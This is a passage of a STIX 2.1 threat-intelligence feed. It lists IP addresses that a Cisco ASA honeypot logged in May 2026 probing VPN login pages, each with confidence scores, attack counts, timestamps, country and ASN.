        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:20:10.000Z",
      "valid_until": "2026-06-02T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-02T08:31:06.195Z",
          "last_seen": "2026-05-29T17:48:00.324Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 2914 (NTT America, Inc.)",
      "id": "indicator--506254fc-9d03-427c-9743-e0c025dca600",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.153.163.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:20:10.000Z",
      "valid_until": "2026-06-02T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--28ca534f-23ea-4557-bb40-22e8f6e17f8e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T09:47:27.546Z",
          "last_seen": "2026-05-07T09:47:37.011Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--21545603-fe8f-470f-b007-bcad45009043",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-02T01:51:53.521Z",
          "last_seen": "2026-05-27T17:24:27.007Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--2443beea-129f-4282-82e4-77525fbb1c2b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T06:04:42.730Z",
          "last_seen": "2026-05-31T01:24:22.039Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--23053201-50db-4f67-bcbe-f0ea9c662991",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--65a97fda-eb98-4fe0-8cb7-bbb53ac551d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-02T01:44:14.281Z",
          "last_seen": "2026-05-29T10:57:32.959Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4fde1da0-a6bc-4c85-8866-a590c0fdff52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T07:22:44.211Z",
          "last_seen": "2026-05-29T14:50:04.190Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7e6d9c75-c5d0-48e5-ab2a-27e3dd41f08a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T22:57:52.996Z",
          "last_seen": "2026-05-22T14:51:59.589Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--884c4a84-ab2c-4bc3-9575-b16e794d2871",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-02T04:47:35.327Z",
          "last_seen": "2026-05-02T04:47:45.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d3b71668-4564-437b-a944-fc46b5f08d85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-05T13:49:49.306Z",
          "last_seen": "2026-05-29T19:41:30.593Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c5d24d92-dc80-47ac-b98b-e699af4c8598",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T06:09:49.107Z",
          "last_seen": "2026-05-31T02:33:34.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--896b36d4-4419-450d-bc52-f17cd55bf1ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T11:07:54.944Z",
          "last_seen": "2026-05-19T03:02:16.816Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4b586051-9b21-443b-a44b-863bb1ebde23",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T03:43:49.820Z",
          "last_seen": "2026-05-16T08:17:42.698Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f07a84a9-5d56-4533-abc1-c9c6e56cda41",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T22:10:32.324Z",
          "last_seen": "2026-05-07T10:26:48.003Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b07191b0-47b6-4f1f-9d6a-5d6217b85a0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T08:29:44.333Z",
          "last_seen": "2026-05-30T14:31:13.015Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2f148d36-e47c-4ae1-ba99-f8cf1135a866",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T10:20:10.000Z",
      "valid_until": "2026-06-02T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 38,
          "first_seen": "2026-05-02T04:14:39.737Z",
          "last_seen": "2026-05-31T05:07:39.544Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e0b97779-f7a2-42eb-8097-b467159975ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T15:30:19.697Z",
          "last_seen": "2026-05-24T03:32:03.892Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--5a17d529-2d0f-422c-a4fb-b772c8531d58",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-03T10:04:07.436Z",
          "last_seen": "2026-05-25T21:28:14.227Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4b07889b-2390-461f-8f34-be77af8acfd3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T09:49:09.935Z",
          "last_seen": "2026-05-25T19:54:47.007Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--c91f311e-2275-49a1-8b90-d53d635ee501",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T02:07:47.512Z",
